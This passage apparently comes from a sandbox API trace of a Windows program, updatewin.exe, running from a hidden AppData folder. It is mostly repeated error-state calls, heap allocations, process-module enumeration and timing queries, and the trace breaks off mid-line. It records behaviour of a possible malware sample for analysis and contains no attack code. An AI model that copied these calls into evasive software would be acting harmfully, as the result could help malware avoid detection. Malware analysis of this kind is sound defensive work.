!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿãS\x9a\x81\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0053.680] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43b480, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin.exe")) returned 0x5e [0053.680] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.684] GetLastError () returned 0x0 [0053.684] SetLastError (dwErrCode=0x0) [0053.684] GetLastError () returned 0x0 [0053.684] SetLastError (dwErrCode=0x0) [0053.684] GetLastError () returned 0x0 [0053.684] SetLastError (dwErrCode=0x0) [0053.684] GetLastError () returned 0x0 [0053.684] SetLastError (dwErrCode=0x0) [0053.684] GetLastError () returned 0x0 [0053.684] SetLastError (dwErrCode=0x0) [0053.684] GetLastError () returned 0x0 [0053.684] SetLastError (dwErrCode=0x0) [0053.684] GetLastError () returned 0x0 [0053.684] SetLastError (dwErrCode=0x0) [0053.684] GetLastError () returned 0x0 [0053.684] SetLastError (dwErrCode=0x0) [0053.684] GetLastError () returned 0x0 [0053.684] SetLastError (dwErrCode=0x0) [0053.684] GetLastError () returned 0x0 [0053.684] SetLastError (dwErrCode=0x0) [0053.684] GetLastError () returned 0x0 [0053.684] SetLastError (dwErrCode=0x0) [0053.684] GetLastError () returned 0x0 [0053.684] SetLastError (dwErrCode=0x0) [0053.684] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.686] SetLastError (dwErrCode=0x0) [0053.686] GetLastError () returned 0x0 [0053.686] SetLastError (dwErrCode=0x0) [0053.686] GetLastError () returned 0x0 [0053.686] SetLastError (dwErrCode=0x0) [0053.686] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.688] SetLastError (dwErrCode=0x0) [0053.688] GetLastError () returned 0x0 [0053.688] SetLastError (dwErrCode=0x0) [0053.688] GetLastError () returned 0x0 [0053.688] SetLastError (dwErrCode=0x0) [0053.688] GetLastError () returned 0x0 [0053.688] SetLastError (dwErrCode=0x0) [0053.688] GetLastError () returned 0x0 [0053.688] SetLastError (dwErrCode=0x0) [0053.688] GetLastError () returned 0x0 [0053.688] SetLastError (dwErrCode=0x0) [0053.688] GetLastError () returned 0x0 [0053.688] SetLastError (dwErrCode=0x0) [0053.688] GetLastError () returned 0x0 [0053.688] SetLastError (dwErrCode=0x0) [0053.688] GetLastError () returned 0x0 [0053.688] SetLastError (dwErrCode=0x0) [0053.688] GetLastError () returned 0x0 [0053.688] SetLastError (dwErrCode=0x0) [0053.688] GetLastError () returned 0x0 [0053.688] SetLastError (dwErrCode=0x0) [0053.688] GetLastError () returned 0x0 [0053.688] SetLastError (dwErrCode=0x0) [0053.688] GetLastError () returned 0x0 [0053.688] SetLastError (dwErrCode=0x0) [0053.689] GetLastError () returned 0x0 [0053.689] SetLastError (dwErrCode=0x0) [0053.689] GetLastError () returned 0x0 [0053.689] SetLastError (dwErrCode=0x0) [0053.689] GetLastError () returned 0x0 [0053.689] SetLastError (dwErrCode=0x0) [0053.689] GetLastError () returned 0x0 [0053.689] SetLastError (dwErrCode=0x0) [0053.689] GetLastError () returned 0x0 [0053.689] SetLastError (dwErrCode=0x0) [0053.689] GetLastError () returned 0x0 [0053.689] SetLastError (dwErrCode=0x0) [0053.689] GetLastError () returned 0x0 [0053.689] SetLastError (dwErrCode=0x0) [0053.689] GetLastError () returned 0x0 [0053.689] SetLastError (dwErrCode=0x0) [0053.689] GetLastError () returned 0x0 [0053.689] SetLastError (dwErrCode=0x0) [0053.689] GetLastError () returned 0x0 [0053.689] SetLastError (dwErrCode=0x0) [0053.689] GetLastError () returned 0x0 [0053.689] SetLastError (dwErrCode=0x0) [0053.689] GetLastError () returned 0x0 [0053.689] SetLastError (dwErrCode=0x0) [0053.689] GetLastError () returned 0x0 [0053.690] SetLastError (dwErrCode=0x0) [0053.690] GetLastError () returned 0x0 [0053.690] SetLastError (dwErrCode=0x0) [0053.690] GetLastError () returned 0x0 [0053.690] SetLastError (dwErrCode=0x0) [0053.690] GetLastError () returned 0x0 [0053.690] SetLastError (dwErrCode=0x0) [0053.690] GetLastError () returned 0x0 [0053.690] SetLastError (dwErrCode=0x0) [0053.690] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x0, Size=0x67) returned 0x1f21990 [0053.690] GetLastError () returned 0x0 [0053.690] SetLastError (dwErrCode=0x0) [0053.690] GetLastError () returned 0x0 [0053.690] SetLastError (dwErrCode=0x0) [0053.690] GetLastError () returned 0x0 [0053.690] SetLastError (dwErrCode=0x0) [0053.690] GetLastError () returned 0x0 [0053.690] SetLastError (dwErrCode=0x0) [0053.690] GetLastError () returned 0x0 [0053.690] SetLastError (dwErrCode=0x0) [0053.690] GetLastError () returned 0x0 [0053.690] SetLastError (dwErrCode=0x0) [0053.690] GetLastError () returned 0x0 [0053.690] SetLastError (dwErrCode=0x0) [0053.690] GetLastError () returned 0x0 [0053.690] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.693] SetLastError (dwErrCode=0x0) [0053.693] GetLastError () returned 0x0 [0053.693] SetLastError (dwErrCode=0x0) [0053.693] GetLastError () returned 0x0 [0053.693] SetLastError (dwErrCode=0x0) [0053.693] GetLastError () returned 0x0 [0053.693] SetLastError (dwErrCode=0x0) [0053.693] GetLastError () returned 0x0 [0053.693] SetLastError (dwErrCode=0x0) [0053.693] GetLastError () returned 0x0 [0053.693] SetLastError (dwErrCode=0x0) [0053.693] GetLastError () returned 0x0 [0053.693] SetLastError (dwErrCode=0x0) [0053.693] GetLastError () returned 0x0 [0053.693] SetLastError (dwErrCode=0x0) [0053.693] GetLastError () returned 0x0 [0053.693] SetLastError (dwErrCode=0x0) [0053.693] GetLastError () returned 0x0 [0053.693] SetLastError (dwErrCode=0x0) [0053.693] GetLastError () returned 0x0 [0053.693] SetLastError (dwErrCode=0x0) [0053.693] GetLastError () returned 0x0 [0053.693] SetLastError (dwErrCode=0x0) [0053.693] GetLastError () returned 0x0 [0053.693] SetLastError (dwErrCode=0x0) [0053.693] GetLastError () returned 0x0 [0053.694] SetLastError (dwErrCode=0x0) [0053.694] GetLastError () returned 0x0 [0053.694] SetLastError (dwErrCode=0x0) [0053.694] GetLastError () returned 0x0 [0053.694] SetLastError (dwErrCode=0x0) [0053.694] GetLastError () returned 0x0 [0053.694] SetLastError (dwErrCode=0x0) [0053.694] GetLastError () returned 0x0 [0053.694] SetLastError (dwErrCode=0x0) [0053.694] GetLastError () returned 0x0 [0053.694] SetLastError (dwErrCode=0x0) [0053.694] GetLastError () returned 0x0 [0053.694] SetLastError (dwErrCode=0x0) [0053.694] GetLastError () returned 0x0 [0053.694] SetLastError (dwErrCode=0x0) [0053.694] GetLastError () returned 0x0 [0053.694] SetLastError (dwErrCode=0x0) [0053.694] GetLastError () returned 0x0 [0053.694] SetLastError (dwErrCode=0x0) [0053.694] GetLastError () returned 0x0 [0053.694] SetLastError (dwErrCode=0x0) [0053.694] GetLastError () returned 0x0 [0053.694] SetLastError (dwErrCode=0x0) [0053.694] GetLastError () returned 0x0 [0053.694] SetLastError (dwErrCode=0x0) [0053.694] GetLastError () returned 0x0 [0053.695] SetLastError (dwErrCode=0x0) [0053.695] GetLastError () returned 0x0 [0053.695] SetLastError (dwErrCode=0x0) [0053.695] GetLastError () returned 0x0 [0053.695] SetLastError (dwErrCode=0x0) [0053.695] GetLastError () returned 0x0 [0053.695] SetLastError (dwErrCode=0x0) [0053.695] GetLastError () returned 0x0 [0053.695] SetLastError (dwErrCode=0x0) [0053.695] GetLastError () returned 0x0 [0053.695] SetLastError (dwErrCode=0x0) [0053.784] GetLastError () returned 0x0 [0053.784] SetLastError (dwErrCode=0x0) [0053.784] GetLastError () returned 0x0 [0053.784] SetLastError (dwErrCode=0x0) [0053.784] GetLastError () returned 0x0 [0053.784] SetLastError (dwErrCode=0x0) [0053.784] GetLastError () returned 0x0 [0053.784] SetLastError (dwErrCode=0x0) [0053.784] GetLastError () returned 0x0 [0053.784] SetLastError (dwErrCode=0x0) [0053.784] GetLastError () returned 0x0 [0053.784] SetLastError (dwErrCode=0x0) [0053.784] GetLastError () returned 0x0 [0053.785] SetLastError (dwErrCode=0x0) [0053.785] GetLastError () returned 0x0 [0053.785] SetLastError (dwErrCode=0x0) [0053.785] GetLastError () returned 0x0 [0053.785] SetLastError (dwErrCode=0x0) [0053.785] GetLastError () returned 0x0 [0053.785] SetLastError (dwErrCode=0x0) [0053.785] GetLastError () returned 0x0 [0053.785] SetLastError (dwErrCode=0x0) [0053.785] GetLastError () returned 0x0 [0053.785] SetLastError (dwErrCode=0x0) [0053.785] GetLastError () returned 0x0 [0053.785] SetLastError (dwErrCode=0x0) [0053.785] GetLastError () returned 0x0 [0053.785] SetLastError (dwErrCode=0x0) [0053.785] GetLastError () returned 0x0 [0053.785] SetLastError (dwErrCode=0x0) [0053.785] GetLastError () returned 0x0 [0053.785] SetLastError (dwErrCode=0x0) [0053.785] GetLastError () returned 0x0 [0053.785] SetLastError (dwErrCode=0x0) [0053.785] GetLastError () returned 0x0 [0053.785] SetLastError (dwErrCode=0x0) [0053.785] GetLastError () returned 0x0 [0053.785] SetLastError (dwErrCode=0x0) [0053.785] GetLastError () returned 0x0 [0053.786] SetLastError (dwErrCode=0x0) [0053.786] GetLastError () returned 0x0 [0053.786] SetLastError (dwErrCode=0x0) [0053.786] GetLastError () returned 0x0 [0053.786] SetLastError (dwErrCode=0x0) [0053.786] GetLastError () returned 0x0 [0053.786] SetLastError (dwErrCode=0x0) [0053.786] GetLastError () returned 0x0 [0053.786] SetLastError (dwErrCode=0x0) [0053.786] GetLastError () returned 0x0 [0053.786] SetLastError (dwErrCode=0x0) [0053.786] GetLastError () returned 0x0 [0053.786] SetLastError (dwErrCode=0x0) [0053.786] GetLastError () returned 0x0 [0053.786] SetLastError (dwErrCode=0x0) [0053.786] GetLastError () returned 0x0 [0053.786] SetLastError (dwErrCode=0x0) [0053.786] GetLastError () returned 0x0 [0053.786] SetLastError (dwErrCode=0x0) [0053.786] GetLastError () returned 0x0 [0053.786] SetLastError (dwErrCode=0x0) [0053.786] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x98) returned 0x1f21a00 [0053.786] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x1f) returned 0x1f21aa0 [0053.786] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x36) returned 0x1f21ac8 [0053.786] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x37) returned 0x1f21b08 [0053.786] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x3c) returned 0x1f21b48 [0053.786] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x31) returned 0x1f21b90 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x17) returned 0x1f21bd0 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x24) returned 0x1f21bf0 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x14) returned 0x1f21c20 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0xd) returned 0x1f21c40 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x25) returned 0x1f21c58 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x39) returned 0x1f21c88 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x18) returned 0x1f21cd0 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x17) returned 0x1f21cf0 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0xe) returned 0x1f21d10 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x69) returned 0x1f21d28 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x3e) returned 0x1f21da0 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x1b) returned 0x1f21de8 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x1d) returned 0x1f21e10 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x48) returned 0x1f21e38 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x12) returned 0x1f21e88 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x18) returned 0x1f21ea8 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x1b) returned 0x1f21ec8 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x24) returned 0x1f21ef0 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x29) returned 0x1f21f20 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x1e) returned 0x1f21f58 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x41) returned 0x1f21f80 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x17) returned 0x1f21fd0 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0xf) returned 0x1f21ff0 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x16) returned 0x1f22008 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x2a) returned 0x1f22028 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x29) returned 0x1f22060 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x15) returned 0x1f22098 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x1e) returned 0x1f220b8 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x2a) returned 0x1f220e0 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x12) returned 0x1f22118 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x18) returned 0x1f22138 [0053.787] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x46) returned 0x1f22158 [0053.787] HeapFree (in: hHeap=0x1f20000, dwFlags=0x0, lpMem=0x1f211f8 | out: hHeap=0x1f20000) returned 1 [0053.788] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x800) returned 0x1f221a8 [0053.788] RtlAllocateHeap (HeapHandle=0x1f20000, Flags=0x8, Size=0x80) returned 0x1f211f8 [0053.789] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e69) returned 0x0 [0053.789] RtlSizeHeap (HeapHandle=0x1f20000, Flags=0x0, MemoryPointer=0x1f211f8) returned 0x80 [0053.789] GetLastError () returned 0x0 [0053.789] SetLastError (dwErrCode=0x0) [0053.789] GetLastError () returned 0x0 [0053.789] SetLastError (dwErrCode=0x0) [0053.789] GetLastError () returned 0x0 [0053.789] SetLastError (dwErrCode=0x0) [0053.789] GetLastError () returned 0x0 [0053.789] SetLastError (dwErrCode=0x0) [0053.789] GetLastError () returned 0x0 [0053.789] SetLastError (dwErrCode=0x0) [0053.790] GetLastError () returned 0x0 [0053.790] SetLastError (dwErrCode=0x0) [0053.790] GetLastError () returned 0x0 [0053.790] SetLastError (dwErrCode=0x0) [0053.790] GetLastError () returned 0x0 [0053.790] SetLastError (dwErrCode=0x0) [0053.790] GetLastError () returned 0x0 [0053.790] SetLastError (dwErrCode=0x0) [0053.790] GetLastError () returned 0x0 [0053.790] SetLastError (dwErrCode=0x0) [0053.790] GetLastError () returned 0x0 [0053.790] SetLastError (dwErrCode=0x0) [0053.790] GetLastError () returned 0x0 [0053.790] SetLastError (dwErrCode=0x0) [0053.790] GetLastError () returned 0x0 [0053.790] SetLastError (dwErrCode=0x0) [0053.790] GetLastError () returned 0x0 [0053.790] SetLastError (dwErrCode=0x0) [0053.790] GetLastError () returned 0x0 [0053.790] SetLastError (dwErrCode=0x0) [0053.790] GetLastError () returned 0x0 [0053.790] SetLastError (dwErrCode=0x0) [0053.790] GetLastError () returned 0x0 [0053.790] SetLastError (dwErrCode=0x0) [0053.790] GetLastError () returned 0x0 [0053.791] SetLastError (dwErrCode=0x0) [0053.791] GetLastError () returned 0x0 [0053.791] SetLastError (dwErrCode=0x0) [0053.791] GetLastError () returned 0x0 [0053.791] SetLastError (dwErrCode=0x0) [0053.791] GetLastError () returned 0x0 [0053.791] SetLastError (dwErrCode=0x0) [0053.791] GetLastError () returned 0x0 [0053.791] SetLastError (dwErrCode=0x0) [0053.791] GetLastError () returned 0x0 [0053.791] SetLastError (dwErrCode=0x0) [0053.791] GetLastError () returned 0x0 [0053.791] SetLastError (dwErrCode=0x0) [0053.791] GetLastError () returned 0x0 [0053.791] SetLastError (dwErrCode=0x0) [0053.791] GetLastError () returned 0x0 [0053.791] SetLastError (dwErrCode=0x0) [0053.791] GetLastError () returned 0x0 [0053.791] SetLastError (dwErrCode=0x0) [0053.791] GetLastError () returned 0x0 [0053.791] SetLastError (dwErrCode=0x0) [0053.791] GetLastError () returned 0x0 [0053.791] SetLastError (dwErrCode=0x0) [0053.791] GetLastError () returned 0x0 [0053.791] SetLastError (dwErrCode=0x0) [0053.791] GetLastError () returned 0x0 [0053.792] SetLastError (dwErrCode=0x0) [0053.792] GetLastError () returned 0x0 [0053.792] SetLastError (dwErrCode=0x0) [0053.792] GetLastError () returned 0x0 [0053.792] SetLastError (dwErrCode=0x0) [0053.792] GetLastError () returned 0x0 [0053.792] SetLastError (dwErrCode=0x0) [0053.792] GetLastError () returned 0x0 [0053.792] SetLastError (dwErrCode=0x0) [0053.792] GetLastError () returned 0x0 [0053.792] SetLastError (dwErrCode=0x0) [0053.792] GetLastError () returned 0x0 [0053.792] SetLastError (dwErrCode=0x0) [0053.792] GetLastError () returned 0x0 [0053.792] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0053.792] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0053.792] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0053.792] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0053.794] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0053.794] PeekMessageA (in: lpMsg=0x18fa38, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa38) returned 0 [0053.794] GetTickCount () returned 0x1146c3b [0053.794] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.795] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.795] GetACP () returned 0x4e4 [0053.795] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.795] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.795] GetACP () returned 0x4e4 [0053.795] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.795] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: 